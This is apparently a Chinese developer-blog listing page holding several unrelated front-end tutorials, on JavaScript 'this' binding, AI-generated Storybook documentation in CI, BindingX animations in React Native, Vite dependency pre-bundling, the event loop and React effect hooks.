identify.call(me);  // KYLE
identify.call(you); // READER

如果不使用 this,你就需要显式地将对象作为参数传递,代码会变得冗余且难以维护。

二、 this 到底出现在哪?

在 JavaScript 中,this 主要出现在两个地方:

  1. 全局环境:在浏览器环境下,this 直接指向 window 对象。
  2. 函数体内:这是最复杂的地方,this 的指向不是在函数创建时决定的,而是在函数被调用时决定的

三、 五大绑定规则

掌握了下面这五条规则,你就掌握了 this 的“密码”:

1. 默认绑定

当函数被独立调用(不带任何修饰的函数调用)时,函数中的 this 指向全局对象 window。

function foo() {
    console.log(this); 
}
foo(); // window

2. 隐式绑定

当函数被一个上下文对象所拥有,并被该对象调用时,this 指向该对象。

var obj = {
    a: 2,
    foo: function() { console.log(this.a); }
};
obj.foo(); // 2

3. 隐式丢失(就近原则)

这是一个细节:当函数被多层对象嵌套调用时,this 指向离它最近的那个对象。

var obj2 = {
    a: 42,
    foo: function() { console.log(this.a); }
};
var obj1 = {
    a: 2,
    obj2: obj2
};
obj1.obj2.foo(); // 42 (指向 obj2)

4. 显式绑定 (Explicit Binding)

显式绑定就像是给函数下达“死命令”,强制它在执行时将 this 指向我们指定的对象。

① call —— 逐个传参的“指挥官”

call 会立即执行函数。它的第一个参数是 this 的指向,后面的参数需要一个一个列出来。

function greet(skill, hobby) {
    console.log(`我是${this.name},我会${skill},喜欢${hobby}`);
}

const user = { name: "阿强" };

// 语法:fn.call(thisArg, arg1, arg2, ...)
greet.call(user, "JavaScript", "代码"); 
// 输出:我是阿强,我会JavaScript,喜欢代码

② apply —— 数组传参的“打包员”

apply 的功能和 call 完全一样,唯一的区别是:它接收参数的方式是数组。这在处理动态参数(如获取数组最大值)时非常有用。

const user = { name: "阿珍" };

// 语法:fn.apply(thisArg, [argsArray])
greet.apply(user, ["Python", "看书"]);
// 输出:我是阿珍,我会Python,喜欢看书

③ bind —— 延后执行的“契约书”

bind 不会立即执行函数,而是返回一个绑定了新 this 的新函数。你可以随时在需要的时候调用它。

const user = { name: "老王" };

// 语法:const newFn = fn.bind(thisArg, arg1, ...)
const bindGreet = greet.bind(user, "Vue", "钓鱼");

// 此时不会有输出,直到你手动调用它
bindGreet(); 
// 输出:我是老王,我会Vue,喜欢钓鱼

💡 快速对比表

为了方便记忆,我总结了一个对比表,大家可以直接保存:

方法 立即执行 传参方式 常用场景
call 参数列表 (arg1, arg2) 对象的属性继承、借用构造函数
apply 数组形式 ([args]) 与 arguments 配合、操作数组
bind 参数列表 (arg1, arg2) React/Vue 中的回调函数绑定、延迟执行

面试小贴士: 如果 call/apply/bind 的第一个参数传入了 null 或 undefined,那么在非严格模式下,this 会自动指向全局对象 window。

5. new 绑定

使用 new 关键字调用构造函数时,JS 内部会创建一个新对象,并把构造函数里的 this 绑定到这个新对象上。

function Person(name) {
    this.name = name;
}
var me = new Person("Jay");
console.log(me.name); // Jay

四、 特殊存在的箭头函数

箭头函数没有自己的 this! 这是它和普通函数最大的区别。箭头函数的 this 是在定义时捕获自外层(父级)非箭头函数的作用域。

注意: 箭头函数的 this 一旦确定,就无法通过 call/apply/bind 再次修改。

总结

  • 独立调用看 window。
  • 对象调用看对象。
  • 多层对象看最近。
  • call/apply/bind 看第一个参数。
  • new 看实例。
  • 箭头函数看它亲爹(外层作用域)。

写组件文档写到吐?我用AI自动生成Storybook,同事以后直接抄

作者 kyriewen
2026年5月23日 21:42

我们公司的组件库有一百多个组件,但文档几乎为零。新同事来了,不知道每个组件怎么用、支持哪些props,只能翻源码。我每周至少被问三次:“这个按钮的size参数是‘large’还是‘lg’?” 我烦了,写了个脚本:用AI读取组件的TypeScript类型定义,自动生成Storybook文档和示例代码。现在每次提交组件,CI自动跑一遍,文档实时更新。同事再也不问我了,CTO看到说:“这个自动化做得好,省了半个前端的人力。”

前言

组件文档的重要性,每个前端都懂。但现实是:业务需求压过来,谁有时间写文档?结果就是组件库越来越膨胀,文档越来越荒废。新人来了,要么猜,要么问,要么翻源码。

我试过手动写Storybook,一个组件写半小时,一百个组件写完,我可能已经离职了。后来我想:能不能让AI自动生成?组件的props类型、默认值、描述,不都写在代码里了吗?让AI提取出来,再套个模板,不就完事了?

今天我把这套自动化流程拆给你看:怎么用AI解析TS类型,怎么生成Storybook的stories文件,怎么集成到CI。以后你只需要写好组件,文档的事交给AI。

金句:最好的文档不是“人写的”,而是“代码里长出来的”。

一、痛点:手动写文档的三大坑

痛点 具体表现
耗时长 一个组件平均花30分钟写文档(props表格+示例代码+说明)
不同步 改了组件props,忘了改文档,文档变成“废纸”
没人愿意写 团队集体拖延,文档库永远是“建设中”

我们团队曾试图用react-docgen-typescript自动提取props,但它只能生成原始JSON,还得人工转成Markdown或Storybook。而且它不懂业务描述,比如“size的large表示大号按钮,用于主操作”,这种描述还是得人写。

AI的出现正好填补了这个缺口:它既能解析类型,又能生成自然语言描述,还能帮你写示例代码。

二、我是怎么做的?三步全自动

第一步:提取组件类型信息

我用react-docgen-typescript把组件的props、类型、默认值、是否必填提取成JSON。写一个脚本extract-props.ts

import * as docgen from 'react-docgen-typescript';

const options = {
  savePropValueAsString: true,
  shouldExtractLiteralValuesFromEnum: true,
};

const parser = docgen.withCustomConfig('./tsconfig.json', options);
const docs = parser.parse('./src/components/Button/index.tsx');

// docs[0] 结构:
// {
//   displayName: 'Button',
//   props: {
//     size: { type: { name: "'small' | 'medium' | 'large'" }, required: false, defaultValue: 'medium' },
//     children: { type: { name: 'ReactNode' }, required: true }
//   }
// }

第二步:用AI生成Storybook内容

把提取的JSON喂给AI,提示词:

你是一名前端技术文档专家。请根据以下组件的props信息,生成一份Storybook的stories文件代码。

要求:

  1. 为每个prop生成控制台(controls)配置
  2. 生成至少3个示例:基础用法、不同尺寸、自定义样式
  3. 用Markdown格式输出,包含组件描述和Props表格

组件信息:

[粘贴上一步的JSON]

AI会输出类似这样的Storybook代码:

// Button.stories.tsx
import type { Meta, StoryObj } from '@storybook/react';
import { Button } from './Button';

const meta: Meta<typeof Button> = {
  title: 'Components/Button',
  component: Button,
  parameters: {
    docs: {
      description: {
        component: '通用按钮组件,支持三种尺寸和两种主题色。主要用于表单提交、弹窗确认等操作。'
      }
    }
  },
  argTypes: {
    size: {
      control: 'radio',
      options: ['small', 'medium', 'large'],
      description: '按钮尺寸'
    },
    children: { control: 'text', description: '按钮内容' }
  }
};

export default meta;

export const Default: StoryObj<typeof Button> = {
  args: { children: '按钮', size: 'medium' },
};

export const Large: StoryObj<typeof Button> = {
  args: { children: '大按钮', size: 'large' },
};

export const Small: StoryObj<typeof Button> = {
  args: { children: '小按钮', size: 'small' },
};

第三步:集成到CI

我在项目的.github/workflows/docs.yml里加了一个job:

- name: Auto generate Storybook
  run: |
    npm run extract:props
    npm run ai:generate-stories
    npm run build:storybook
  env:
    OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}

每次git push到main分支,GitHub Actions自动跑一遍,重新生成文档并部署到GitHub Pages。从此文档永远最新。

金句:AI自动生成文档,让“文档过时”成为历史。

三、实测效果:节省了多少时间?

我们组件库有87个组件,人工写一个平均30分钟,总计43.5小时。用AI自动生成后,每个组件约2分钟(人工review和微调),总计约3小时。节省了93%的时间

指标 手工 AI辅助 变化
单组件文档耗时 30分钟 2分钟 ↓ 93%
文档与代码同步率 经常滞后 实时同步 -
新人上手询问次数(月均) 12次 2次 ↓ 83%

同事现在想查组件用法,直接打开Storybook。没人再问我了,我可以安心写代码。

四、注意事项(坑点)

  • AI会脑补不存在的props:有时会生成示例里用了你没提供的prop,必须人工删掉。
  • 复杂泛型可能解析错react-docgen-typescript对高阶组件、泛型组件的解析不够准,需要手动修正输入JSON。
  • 保护公司组件库隐私:不要直接把整个组件库代码喂给云端AI。可以用本地模型(如Ollama + CodeLlama),或者只传类型JSON(不传实现细节)。
  • 示例代码要人工跑一遍:AI生成的示例可能无法直接运行(比如忘记import样式),你至少编译一次确保没语法错误。

五、完整的Prompt模板(复制可用)

# 角色
你是一名前端技术文档专家,擅长为React组件生成Storybook文档。

# 任务
根据以下组件的props信息,生成一个完整的Storybook stories文件。

# 输入格式
JSON对象,包含displayName和props

# 输出要求
1. 使用TypeScript语法
2. 包含meta配置(title, component, parameters, argTypes)
3. 生成至少3个Story:Default, Large, Small(或其他合适的变体)
4. 在parameters.docs.description.component中写一段组件用途说明
5. 每个argType的control要合理(radio/select/text等)

# 组件信息
[粘贴JSON]

六、写在最后

以前我觉得文档是“良心活”,写了加分,不写也没人扣分。现在AI帮我自动生成,我才发现:文档不是负担,而是杠杆——它让组件的复用率大大提升,团队效率自然就上去了。

如果你也被组件文档折磨过,或者想知道怎么把AI接入你的工程化流程,点个赞让我看到

你敢信这是非Native页面写出来的渐变效果吗🌝(底层原理解析

作者 July_lly
2026年5月23日 20:48

前言

最近主包由于写RN业务的原因,需要实现一个跟随Native半屏容器拉起到全屏时会渐变的效果,这里面涉及到与原生的交互能力,同时由于业务需要提高性能能力,能适配低端机用户。

效果:

550513572529ad2a9d243fdb46d955ed.gif

看着卡了,可以自己去体验一下。

踩坑

肯定很多同学想到了直接监听我们的容器滚动时间,能这么简单的话不需要文章/文档记录了。当然应该也有同学听过一些解决方法,就是ali的BindingX方案。当然这个方案肯定可以的,但是在我们需要适配地端容器,且需要大量的变化时候渐变的元素时候,前端的视角变得尤为重要了。

下面我们不废话,直接将过程and知识点。

什么是 BindingX?

BindingX 是阿里推出的前端动画引擎,主要用于实现跨端的复杂手势交互与动画绑定。其核心原理可从三个维度理解:

数据绑定:将事件与属性变化关联起来

事件驱动:基于手势、时序、滚动等事件触发

数学插值:通过声明式表达式描述动画曲线

它的设计目标是让开发者 "通过声明式绑定,将手势事件、动画和属性变化关联起来" ,避免手写大量命令式(imperative)动画代码。


为什么需要 BindingX?

在 RN 页面中,当 RN_Panel 容器上拉全屏时,常见需求是让页面元素跟随滑动手势产生联动动画。

传统方案的问题:

通过监听浮层滚动进度通知(enable_progress_notification)再回调 JS 逻辑,存在以下瓶颈:

JSB 通信打满执行栈,无法实时拿到当前进度

大量动画导致页面明显卡顿

典型卡顿场景分析:

即使只通知一次(enable_state_notification),大量同时变化的元素也会造成明显卡顿,原因在于:

顶部图片容器高度突然变化 → 触发回流

背景色或渐变瞬时变化 → 触发大量重绘

大量文字颜色同时变化 → 触发 CPU 密集型抗锯齿计算,每帧多次回流

实测发现:约 30 个图标和文字同时变化,是影响动画流畅性的主要瓶颈。

BindingX 通过将动画逻辑下沉到 Native 侧执行,彻底绕开 JS Bridge 通信瓶颈,实现丝滑动画效果。


如何使用 BindingX

基础用法示例

import { useRef } from 'react';
import { View } from 'react-native';
import { useBindingX } from './useBindingX';
function FadeBox() {
  const boxRef = useRef<View>(null);
  useBindingX({
    eventType: 'progress',
    anchor: 'panel_progress',
    props: [
      { element: boxRef, property: 'opacity', expression: 'p' },
    ],
  });
  return <View ref={boxRef} collapsable={false} style={{ opacity: 0 }} />;
}

常用可控属性:opacity / color / height 等。

useBindingX 实现可以直接按照下面的API让你们客户端写好了,或者自己去调JSB封装一下即可


API 参考

UseBindingXOptions 参数

参数 类型 默认值 说明
eventType 'progress' | 'scroll' | 'timing' | 'pan' | 'orientation' 'progress' 事件类型
anchor string | React.RefObject 锚点,含义取决于 eventType
props BindingXProp[] 必填 绑定属性列表
enabled boolean true 是否启用绑定
exitExpression string 退出条件表达式(仅 timing 有效)

支持的事件类型

eventType 表达式变量 anchor 典型场景
progress p (0~1) token 字符串 面板拖拽、进度条、外部驱动
scroll x, y (px) ScrollView ref 滚动视差、Header 折叠
timing t (ms) 不需要 入场动画、脉冲动画
pan x, y (px) 手势视图 ref 拖拽交互
orientation alpha, beta, gamma 不需要 陀螺仪控制

可绑定属性速查表

Transform(变换)

属性 说明 示例表达式
opacity 透明度 p / max(1-y/150,0)
transform.translateX X 平移 -30+60*p
transform.translateY Y 平移 -y*0.4
transform.scale 等比缩放 0.5+0.5*p
transform.scaleX X 缩放 0.5+p
transform.scaleY Y 缩放 0.5+p
transform.rotate Z 轴旋转(度) 360*p
transform.rotateX X 轴旋转 180*p
transform.rotateY Y 轴旋转 180*p

Layout(布局)

属性 说明 示例表达式
width 宽度 30+70*p
height 高度 50+20*min(t/800,1)
left/right/top/bottom 定位偏移 24*p

Spacing(间距)

属性 说明 示例表达式
marginLeft 左外边距 min(y*0.15,30)
marginRight 右外边距 24*p
marginTop 上外边距 18*p
marginBottom 下外边距 18*p
paddingLeft 左内边距 min(y*0.08,16)
paddingRight 右内边距 24*p
paddingTop 上内边距 24*p
paddingBottom 下内边距 24*p

兼容写法:margin-left、margin_left、margin.left 均可,推荐使用 camelCase。

Visual(视觉)

属性 说明 示例表达式
backgroundColor 背景色 rgb(255-255p,50,255p)
color 文字颜色 rgb(min(y,255),0,0)
borderRadius 圆角 4+16*p

兼容写法:background-color、border-radius,推荐使用 camelCase。

Scroll(滚动)

属性 说明 示例表达式
scroll.contentOffsetX 水平滚动偏移 400*p
scroll.contentOffsetY 垂直滚动偏移 400*p

表达式语法

表达式在 Native 侧执行,不经过 JS Bridge,主要都是常见基本表达式。

BindingX 表达式支持以下语法:

运算符:+ - * / %

比较:> < >= <= == !=

逻辑:&& || !

三元:condition ? a : b

内置函数:min(a,b)、max(a,b)、abs(x)、sin(x)、cos(x)、rgb(r,g,b)


最佳实践

iOS vs Android 渲染机制对比

在使用 BindingX 处理颜色/透明度动画时,iOS 和 Android 的底层机制存在显著差异,必须区别对待。

iOS 渲染机制

iOS 使用 Core Animation(CA)和图层(Layer)系统:

颜色变化由 GPU 在图层上处理(Layer-backed 渲染),对简单背景色动画几乎是零 CPU 消耗

注意:颜色变化若同时伴随布局变化(height/width),仍会触发回流和重绘

iOS 对渐变背景或 mask 图层处理相对昂贵

Android 渲染机制

Android 基于 Skia + GPU 渲染:

颜色变化算作一次重绘(repaint) ,简单情况下 GPU 处理能力强,不会引起明显卡顿

高危场景

大面积渐变或半透明叠加层 ⚠️

同时有大量布局属性变化(height、margin、transform 等)→ 可能让 CPU/GPU 瓶颈显现

背景色踩坑:三层透明叠加问题

页面顶部存在三层透明背景叠加的情况,在 Android 上直接使用 BindingX 控制背景色会导致页面卡死(Android bindingX 包优化修复前)。

Android 侧修复方案:

将 CPU 开销转移到 GPU 处理,通过 RN View 属性 renderToHardwareTextureAndroid 将动画图层缓存为 GPU texture,减少每帧 CPU 混合:

<View renderToHardwareTextureAndroid={true}>
  {/* 动画内容 */}
</View>

字体变色踩坑与解决方案

问题根源

直接对文字颜色使用 BindingX 渐变,即使去除底色/图片的渐变叠加,依旧十分卡顿:

文字颜色变化会直接触发回流

CPU 计算抗锯齿消耗巨大

解决方案:双层 Text + View opacity

核心思路:不再改变字体颜色,而是将颜色提前确定好,在变化过程中通过 opacity 控制透明度,实现黑→白渐变。过程中不再触发高密集型的 CPU 计算,而是将图层交由 GPU 合成。

对比维度 方案 A:直接修改 Text color 方案 B:双层 Text + View opacity
动画驱动 每帧更新颜色 每帧更新 View opacity
渲染开销 触发回流 + Layout & Paint 跳过重绘,布局与颜色固定
计算方式 CPU 文本栅格化(高开销) GPU 透明混合,仅图层合成(低开销)
最终效果 卡顿 / 低帧率 ❌ 流畅 / 高帧率 ✅
CPU 占用
GPU 占用 中等

使用总结与注意事项

优先使用 opacity 代替颜色渐变:将颜色变化转为透明度变化,GPU 友好,避免 CPU 瓶颈

Android 额外关注:Android 对半透明叠加、大面积渐变的处理成本显著高于 iOS

使用 renderToHardwareTextureAndroid:对动画图层启用 GPU texture 缓存,减少每帧 CPU 混合

避免同时变化 Layout 属性:height、margin 等布局属性变化会触发回流,尽量避免在动画中同时使用

表达式在 Native 执行:BindingX 表达式不经过 JS Bridge,充分利用这一特性实现高性能动画

Vite 开发预构建机制详解,搞懂 esbuild 与 Rollup 分工差异

2026年5月23日 17:43

💡 引言

在传统构建工具(如 Webpack)统治的时代,项目一旦变大,本地开发启动和热更新往往需要数秒甚至更久。Vite 凭借“天生不用打包”的原生 ESM(ES Modules)机制横空出世,带来了毫秒级的极致体验。

然而,很多同学在刚接触 Vite 时都会有一个疑问:既然 Vite 宣称是不打包的构建工具,为什么在开发阶段启动时,终端里总会雷打不动地出现一行 Pre-bundling dependencies(依赖预构建)?

事实上,面对庞大复杂的第三方生态(node_modules),Vite 宁可破坏“不打包”的纯洁性,也要引入 esbuild 进行一次特殊的预加工。这既是 Vite 的妥协,也是它极其精妙的工程化智慧。本文将带你一层层剥开预构建的底层外衣,看透它的运行机制与破局之策。

一、 什么是依赖预构建?

概念: 依赖预构建是指 Vite 在开发阶段启动时,对第三方 node_modules 包进行一次“预加工”的过程。也就是利用基于 Go 语言编写的 esbuild 将第三方依赖文件转化为符合浏览器规范的 ESM 格式并进行打包合并。

核心作用:它解决了什么问题?

  1. 格式统一(兼容 CommonJS / UMD) :浏览器原生的 ESM 无法识别 CommonJS 或 UMD 格式的包。像 React 等依然采用传统格式的古董包,如果直接扔给浏览器会直接报错。预构建能将它们统一转化为标准 ESM 格式,解决了非 ESM 包无法被浏览器识别的问题。
  2. 减少 HTTP 请求数(提升页面加载速度) :部分 ESM 包(如 lodash-es)内部极其零碎,包含几百个小文件。如果直接在浏览器中加载,会触发几百个并发 HTTP 请求,直接卡死浏览器。预构建将这些相关依赖文件合并成一个或几个特定的 ESM 文件,突破了浏览器的网络并发限制,大幅提升了开发环境的页面加载速度。

二、 依赖预构建的四大核心流程

Vite 的依赖预构建是一个严密的流水线,整体流程分为四步:

[服务器启动] ──> 1. 缓存判断 (有效则直读)
             (缓存失效) │
               2. 依赖扫描 (esbuild 虚假构建)
                       │
               3. 依赖打包 (CJS转ESM/模块合并)
                       │
               4. 信息写盘 (_metadata.json)

1. 缓存判断(Cache Validation)

在服务器启动的一瞬间,Vite 首先会检查之前的预构建成果是否依然有效,以避免重复操作:

  • Vite 会查看 node_modules/.vite 文件夹是否存在,以及其中的 _metadata.json 元数据文件。
  • Vite 会根据 package.json 的 dependencies 依赖、包管理器的锁定文件(如 package-lock.json)以及 vite.config.ts 中的相关配置,计算出一个 Hash 值
  • 如果 Hash 值未变,Vite 直接跳过后续步骤,从本地磁盘读取缓存,实现秒级启动。

2. 依赖扫描(Dependency Scanning)

如果缓存失效或不存在,Vite 必须找出代码中到底用到了哪些第三方包,确定出一份精确的依赖清单(例如:vue, axios, lodash-es):

  • Vite 会从 index.html 入口开始,递归扫描所有的源代码(JS/TS/Vue/JSX)。
  • 扫描过程中,Vite 使用 esbuild 作为扫描器,根据代码中的 import 语句以及包含在 optimizeDeps.include 中的项,快速进行一次“虚假构建”。这次构建不生成最终代码,只为了捞出所有裸导入(Bare Imports)的依赖名称。

3. 依赖打包(Dependency Bundling)

这是预编译中最核心的一步。Vite 会调用 esbuild 对依赖清单进行格式转换和模块合并:

  • 极致速度:得益于 Go 语言编写的 esbuild,这一步比传统的 Webpack 快 10 到 100 倍
  • 格式转换:将 CommonJS 或 UMD 格式的包(如 React)转换为标准 ESM 格式,使浏览器能直接识别。
  • 模块合并:将 lodash-es 这种内部有几百个小文件的包,打包成一个或几个特定的 ESM 文件,突破浏览器并发请求限制。

4. 构建信息写入磁盘(Writing Metadata)

最后一步是将打包后的依赖存入 node_modules/.vite/deps 目录下,方便下次对比和加载,并更新元数据:

  • 元数据文件:更新 _metadata.json 文件。这个文件记录了文件的 Hash 值、源代码中的原始导入路径、以及预构建后的文件路径的映射关系
  • 路径重写:当服务器运行时,Vite 会拦截浏览器的请求,根据这份元数据将路径重写为指向 .vite/deps 缓存文件的路径。

💡 主动触发与强制刷新

  • 自动触发:开发中如果修改了 package.json 的依赖或 optimizeDeps 配置,Vite 会自动触发重新预构建。
  • 手动强制触发:如果需要手动强制重新预构建,可以删除 node_modules/.vite 目录,或执行 vite optimize 命令(也可以在启动时执行 vite --force)。

三、 深度拷问:为什么开发用 esbuild,生产用 Rollup?

这是大厂前端面试高频出现的经典架构题。Vite 采用双引擎架构(esbuild + Rollup),背后有着深层的工程化考量。

1. Vite 开发环境选择 esbuild 的原因

Vite 在开发环境选择 esbuild 主要是看中了其绝对的速度优势和开发效率

  • 编译速度极快:esbuild 是使用 Go 语言开发的,直接编译为机器码,执行效率比 JS 编写的构建工具快很多,通常快 10-100 倍。
  • 完美支持 ESM 转换:esbuild 可将 CommonJS、UMD 直接转化为 ESM,适合浏览器按需加载。而 Rollup 对 CommonJS 还需要使用插件 @rollup/plugin-commonjs,配置比较复杂,还会进一步降低速度。
  • 架构轻量化:esbuild 在这里仅关注依赖的转换,而不像 Rollup 需要完整的依赖构建图。
  • 极致的文件快译与低延迟 HMR:Vite 在开发环境基于原生 ES Modules 进行模块热更新(只更新被修改模块及其依赖,更新延迟低)。在这个过程中,esbuild 仅负责单个文件的快速转译(如 TS 转 JS),不涉及复杂的打包和全量依赖图重构。而相比之下,Rollup 需基于完整依赖图重新打包,热更新耗时久,并不适合高频更新的开发场景。

2. Vite 生产环境使用 Rollup 打包原因

既然 esbuild 这么快,为什么 Vite 生产环境依然选择 Rollup 打包?主要原因是生产环境构建需要更多的优化和兼容性支持。Rollup 在长期的工程化沉淀中拥有明显的应用优势:

  • 更强大的产物优化:Rollup 在生产环境下的 Tree-shaking(树摇) 、代码分割(Code Splitting)、代码合并的能力是远优于 esbuild 的,能生成体积较小的精简 bundle。
  • 灵活的拆包策略:Rollup 支持 manualChunks 和动态导入的优化策略,可极其灵活地拆分大型应用,减少首屏加载时间。
  • 庞大完善的插件生态:Rollup 的插件生态非常丰富,可以支持多种类型资源的处理(JS、CSS、图片、SVG、字体资源打包、打包产物压缩等),而 esbuild 的插件生态和定制化能力目前还较为年轻。
  • 稳健的浏览器兼容性:Rollup 对浏览器兼容性较好,能配合构建链轻松生成兼容旧版浏览器的代码,确保线上产物的绝对稳定性。

📌 总结

Vite 的双引擎架构是前端工程化的一种精妙平衡:在开发阶段,它追求极致的速度,因此用 esbuild 大刀阔斧地做快速转换;在生产环境,它追求最终产物的体积与兼容性,因此用 Rollup 慢工出细活。 这种“两头通吃”的策略,才成就了如今 Vite 无法撼动的统治地位。

事件循环(Event Loop)深度解析:让你彻底搞懂 JS 的执行顺序

2026年5月20日 17:54

事件循环(Event Loop)深度解析:让你彻底搞懂 JS 的执行顺序

为什么 setTimeout 明明是 0 毫秒,却要等到最后才执行?
Promise.thensetTimeout 到底谁先执行?
面试官总爱问的“事件循环”,今天一篇帮你彻底打通。


目录

  1. 从一道经典面试题说起
  2. 事件循环是什么?为什么要它?
  3. 宏任务(MacroTask)与微任务(MicroTask)
  4. 事件循环的工作流程(附流程图)
  5. 用代码验证每一步
  6. async/await 在事件循环中的特殊表现
  7. Node.js 与浏览器事件循环的区别
  8. 经典面试题集锦 + 解析
  9. 总结

1. 从一道经典面试题说起

console.log('1');

setTimeout(() => console.log('2'), 0);

Promise.resolve().then(() => console.log('3'));

console.log('4');

问:以上代码的输出顺序是什么?

很多人会脱口而出:1 2 3 41 4 2 3
正确答案是:1 4 3 2

为什么?这正是事件循环的规则导致的。


2. 事件循环是什么?为什么要它?

JavaScript 是单线程语言,同一时间只能做一件事。但我们需要处理用户点击、网络请求、定时器等异步操作。如果这些操作都排队执行,那网络请求的 200ms 就会让整个页面卡住。

事件循环就是 JS 引擎用来调度同步代码、异步回调、I/O 操作的一套机制,它让 JS 既能保持单线程,又能高效处理异步。

生活类比

  • 你有一个“待办清单”(任务队列)。
  • 你先处理手头的事(同步代码)。
  • 手头的事干完了,就去清单里看看有没有新的待办。
  • 如果有,就取出来做,做完再去看清单……
  • 这个“反复看清单并取任务执行”的过程,就是事件循环

3. 宏任务(MacroTask)与微任务(MicroTask)

在事件循环中,任务被分为两种:宏任务微任务。它们的执行优先级不同。

3.1 宏任务(MacroTask)

  • 每次从任务队列中取出的一个任务,称为一个宏任务。
  • 常见宏任务
    • 整体代码块(script)
    • setTimeoutsetInterval
    • I/O 操作
    • UI 渲染
    • setImmediate(Node.js)
    • requestAnimationFrame(浏览器)

3.2 微任务(MicroTask)

  • 在当前宏任务执行完成后、下一个宏任务开始前执行的任务。
  • 常见微任务
    • Promise.then / catch / finally
    • MutationObserver(浏览器)
    • queueMicrotask
    • process.nextTick(Node.js,优先级高于普通微任务)

3.3 优先级总结

微任务队列 > 宏任务队列
每个宏任务执行完后,会立即清空当前所有的微任务,然后再去取下一个宏任务。


4. 事件循环的工作流程(附流程图)

用文字描述:

  1. 执行一个宏任务(最开始执行的是全局脚本代码)。
  2. 执行过程中如果遇到微任务,就把它添加到微任务队列。
  3. 当前宏任务执行完毕,检查微任务队列。
  4. 依次执行微任务队列中的所有任务(直到清空)。
  5. 执行必要的 UI 渲染(浏览器)。
  6. 从宏任务队列中取出下一个宏任务,重复步骤 1。

流程图(纯文本版):

┌─────────────────────────┐
│   开始执行宏任务(script)  │
└────────────┬────────────┘
             │
             ▼
┌─────────────────────────┐
│  同步代码执行,遇到微任务入队 │
└────────────┬────────────┘
             │
             ▼
┌─────────────────────────┐
│   宏任务执行完毕          │
└────────────┬────────────┘
             │
             ▼
┌─────────────────────────┐
│   清空当前所有微任务      │
└────────────┬────────────┘
             │
             ▼
┌─────────────────────────┐
│   (可能执行 UI 渲染)    │
└────────────┬────────────┘
             │
             ▼
┌─────────────────────────┐
│   取出下一个宏任务        │
└─────────────────────────┘

5. 用代码验证每一步

示例 1:基本顺序

setTimeout(() => console.log('宏任务'), 0);
Promise.resolve().then(() => console.log('微任务'));
console.log('同步');
// 输出:同步 → 微任务 → 宏任务

示例 2:微任务中注册新微任务

Promise.resolve().then(() => {
  console.log('微任务1');
  Promise.resolve().then(() => console.log('微任务2'));
});
console.log('同步');
// 输出:同步 → 微任务1 → 微任务2

关键:微任务队列会一次性清空,新添加的微任务也会在当前轮次执行完。

示例 3:宏任务中注册微任务

setTimeout(() => {
  console.log('宏任务');
  Promise.resolve().then(() => console.log('宏任务中的微任务'));
}, 0);
Promise.resolve().then(() => console.log('外层微任务'));
// 输出:外层微任务 → 宏任务 → 宏任务中的微任务

6. async/await 在事件循环中的特殊表现

async/await 是 Promise 的语法糖,但它在事件循环中的行为有细微的陷阱。

async function foo() {
  console.log('2');
  await bar();        // ← 这里 await 后面的代码相当于 Promise.then
  console.log('4');
}
async function bar() {
  console.log('3');
}
console.log('1');
foo();
console.log('5');
// 输出:1 2 3 5 4

分析

  • 同步:1235
  • await bar() 后面的 console.log('4') 相当于 Promise.resolve(bar()).then(() => console.log('4')),因此它进入微任务队列。
  • 当前宏任务执行完后,清空微任务,输出 4

陷阱:很多人以为 await 会阻塞,其实它只是把后续代码包装成微任务,并不会阻塞主线程。


7. Node.js 与浏览器事件循环的区别

浏览器和 Node.js 的事件循环在实现上有所不同,下面列出主要差异(Node.js 版本 11+ 后已尽量与浏览器对齐,但仍有一些区别)。

特性 浏览器 Node.js(v11+)
宏任务类型 setTimeoutsetInterval、I/O、UI 渲染 setTimeoutsetInterval、I/O、setImmediateprocess.nextTick(特殊微任务)
微任务执行时机 每个宏任务之后清空微任务 基本一致,但 process.nextTick 优先级高于 Promise.then
循环阶段 简单:宏任务 → 微任务 → 渲染 多阶段:timers → pending callbacks → idle → poll → check → close

Node.js 的事件循环有更多阶段,但作为前端开发者,你主要知道 setTimeoutPromise 的行为与浏览器基本一致即可。


8. 经典面试题集锦 + 解析

题目 1

setTimeout(() => console.log(1), 0);
Promise.resolve().then(() => console.log(2));
Promise.resolve().then(() => {
  console.log(3);
  setTimeout(() => console.log(4), 0);
});
console.log(5);

输出5 2 3 1 4
解释

  • 同步 5
  • 微任务依次 23(执行 3 时注册了一个宏任务 4)。
  • 宏任务 14

题目 2(混合 async/await)

async function async1() {
  console.log('async1 start');
  await async2();
  console.log('async1 end');
}
async function async2() {
  console.log('async2');
}
console.log('script start');
setTimeout(() => console.log('setTimeout'), 0);
async1();
new Promise((resolve) => {
  console.log('promise1');
  resolve();
}).then(() => console.log('promise2'));
console.log('script end');

输出
script startasync1 startasync2promise1script endasync1 endpromise2setTimeout

逐步拆解

  1. 同步:script start
  2. 调用 async1,输出 async1 start
  3. await async2() 执行 async2,输出 async2,然后 await 后续代码(async1 end)入微任务
  4. 继续执行同步,new Promise 立即执行输出 promise1resolve 后的 then 入微任务
  5. 同步 script end
  6. 当前宏任务结束,清空微任务队列:async1 endpromise2
  7. 下一个宏任务 setTimeout 输出

题目 3(Node.js 中的 process.nextTick

setTimeout(() => console.log('timeout'), 0);
process.nextTick(() => console.log('nextTick'));
console.log('start');

Node.js 输出:startnextTicktimeout
process.nextTick 优先级高于 Promise.then,属于特殊的微任务。


9. 总结

事件循环是 JavaScript 异步执行的核心机制。记住三句话:

  1. 先同步,后异步:同步代码优先执行,异步回调在队列中等待。
  2. 微任务 > 宏任务:每个宏任务执行完后,必须清空所有微任务。
  3. await 不阻塞:它只是把后续代码包装成微任务。

实践建议

  • 日常开发中,优先用 async/await,不用手动管理 then
  • 需要并发请求时用 Promise.all
  • 记住常见宏/微任务的分类,面试时不再慌张。

如果你能独立分析上面所有例子的输出,恭喜你,事件循环这一关你已经通关了!

useEffect 之外:专门处理异步、深比较和 SSR 的 Effect Hook

2026年5月19日 20:11

React 只给了你一个 effect hook:useEffect。其他所有 effect 模式——挂载后只跑一次、跳过首次渲染、比较对象依赖、不带竞态地处理异步、不在服务端报警告地跑 layout effect——都得你自己拼。大多数团队最后都会在 utils/hooks.ts 里塞五六个 wrapper hook。不同团队写的是同一个东西的不同变体,其中有些版本是错的。

这种重复性的基础设施不应该出现在你的代码库里。ReactUse 已经把这些专门 effect hook 给你做好了——围绕 useEffectuseLayoutEffect 的一组小而专的封装,把最常见的缺口都补齐了。这篇文章过一遍其中九个:useEffect 在哪里别扭、专门 hook 做了什么不同的事、以及一个能用上的具体例子。

